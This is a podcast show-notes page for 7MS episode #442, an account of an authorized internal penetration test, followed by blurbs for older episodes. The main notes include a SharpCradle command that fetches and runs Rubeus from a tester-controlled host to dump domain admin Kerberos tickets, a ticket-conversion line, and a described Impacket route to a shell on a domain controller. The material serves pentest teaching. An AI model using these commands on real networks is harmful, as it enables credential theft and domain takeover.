7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Avsnitt(683)

7MS #19: Kioptrix! (audio)

7MS #19: Kioptrix! (audio)

In this episode I talk about a deliciously vulnerable series of VMs called Kioptrix, and how you can use them to sharpen your pentesting skills. Download: 7MS #19: Kioptrix! (audio) Show notes: The Kioptrix series of VMs is here: http://www.kioptrix.com/blog/test-page/ and here: http://vulnhub.com/?q=kioptrix&sort=date-des&type=vm. Got approved for my OSCP training and I start it in a few…

5 Juli 20147min

7MS #18: Wireless Security 101 (audio)

7MS #18: Wireless Security 101 (audio)

In this episode I talk about some wireless security basics that we’re not seeing when out on assessments. Download: 7MS #18: Wireless Security 101 (audio) Show notes: WEP encryption is very, very bad. It’s easy to crack. Don’t use it. Wifite will demonstrate how easy it is to crack WEP. Stronger encryption such as WPA/WPA2…

22 Juni 20147min

7MS #17: How to Pass the Certified Ethical Hacker Exam (audio)

7MS #17: How to Pass the Certified Ethical Hacker Exam (audio)

In this episode I share my experience with EC-Council’s Certified Ethical Hacker training and exam. Download: 7MS #17: How to Pass the Certified Ethical Hacker Exam (audio) Show notes: Here’s info on the CEH training and test outline. I took my CEH training through UFairfax with instructor Leo Dregier. See this post I wrote that…

14 Juni 20147min

7MS #16: PwnPad Initial Impressions – part 2! (audio)

7MS #16: PwnPad Initial Impressions – part 2! (audio)

In this episode I talk about my first-hand experience using the PwnPad for wireless pentesting. Download: 7MS #16: PwnPad Initial Impressions – Part 2 Show notes: In a nutshell: PwnPad is a great tool to simplify/automate some wireless recon and/or hacking! PwnieExpress has a great write-up on mapping APs w/GPS coordinates using Google Earth here:…

31 Maj 20147min

7MS #15: PwnPad Initial Impressions (audio)

7MS #15: PwnPad Initial Impressions (audio)

In this episode I talk about my initial impressions of using the PwnPad for wireless pentesting. Download: 7MS #15: PwnPad Initial Impressions Show notes: Carrying around a Nexus 7 instead of a bulky laptop to do wireless pentesting sure is nice! PwnPad scripts/automates much of the “busy work” to capture WPA handshakes.

24 Maj 20146min

7MS #14: H8 4 Win8 (audio)

7MS #14: H8 4 Win8 (audio)

In this episode I talk about two (sort of) security related tips that I’ve learned by using Windows 8 wrong. Download: 7MS #14: H8 4 Win8 (audio) Show notes: Windows Defender doesn’t seem to auto-update on Win 8 unless you have updates set to auto download/install. I found a nifty script you can add as…

10 Maj 20146min

7MS #13: How to Get Pwned by HP (audio)

7MS #13: How to Get Pwned by HP (audio)

In this episode I talk about how I had to sent my HP laptop in for repair and, to my surprise, it (allegedly) came back with a bonus: malware! Download: 7MS #13: How to Get Pwned by HP (audio) Show notes: My takeaways/recommendations from this experience: See a pic of my FortiClient picking up on…

3 Maj 20147min

7MS #12: Why My Domains Have Gan to Gandi (audio)

7MS #12: Why My Domains Have Gan to Gandi (audio)

In this episode I talk about an account takeover article that freaked me out, and why it changed a few things about how I handle my important online accounts. Download: 7MS #12: Why My Domains Have Gan to Gandi (audio) Show notes: This episode is all about this article (https://medium.com/cyber-security/24eb09e026dd) in which a Twitter user…

28 Apr 20147min

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